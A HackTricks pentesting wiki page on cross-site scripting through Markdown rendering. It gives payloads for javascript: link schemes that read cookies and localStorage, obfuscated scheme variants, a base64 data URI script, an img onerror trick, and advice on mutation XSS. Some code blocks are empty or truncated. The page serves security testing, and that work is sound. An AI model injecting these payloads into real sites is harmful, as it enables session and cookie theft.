--- title: "XSS in Markdown" section: "Web Pentesting" sectionSlug: "pentesting-web" sourcePath: "src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0" --- # XSS in Markdown If attacker-controlled Markdown is rendered as HTML, test whether the parser and sanitizer combination allows XSS. Behavior varies by implementation and configuration; CommonMark permits raw HTML unless the application disables or sanitizes it.[[2]](#references) ### HTML tags The most direct case is raw HTML accepted by the Markdown parser and passed to the browser without appropriate sanitization.[[2]](#references)[[3]](#references) ```html ``` You can find more examples in the [main XSS page of hacktricks](/hacktricks/pentesting-web/xss-cross-site-scripting/overview). ### Javascript links If raw HTML is blocked, test how the renderer validates link destinations and dangerous URL schemes:[[3]](#references) ```html [a](javascript:prompt(document.cookie)) [Basic](javascript:alert('Basic')) [Local Storage](javascript:alert(JSON.stringify(localStorage))) [CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive')) [URL](javascript://www.google.com%0Aalert('URL')) [In Quotes]('javascript:alert("InQuotes")') [a](j a v a s c r i p t:prompt(document.cookie)) [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](javascript:window.onerror=alert;throw%201) ``` ### Img event syntax abuse ```markdown ![Uh oh...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/%22onerror%3D%22alert%28%27XSS%27%29) ![Uh oh...]( ``` Payload examples:[[1]](#references) ```html
----------------------------------------------- yep ------------------------------------------------ [x](y '
---------------------------------------------- [

) ---------------------------------------------- `

``` ### Test the final DOM: mutation XSS Treat Markdown rendering as a chain of interpreters: **Markdown/extensions → HTML → sanitizer → serialization → browser sink**. Capture every intermediate representation and inspect the live DOM after insertion. A sanitizer can approve one tree, while browser error recovery creates a different tree after serialization and reparsing (mXSS). High-value probes mix malformed markup with HTML/SVG/MathML namespace transitions, raw-text elements, and very deep nesting; checking the sanitized string for `onerror` is not enough.[[4]](#references) ```html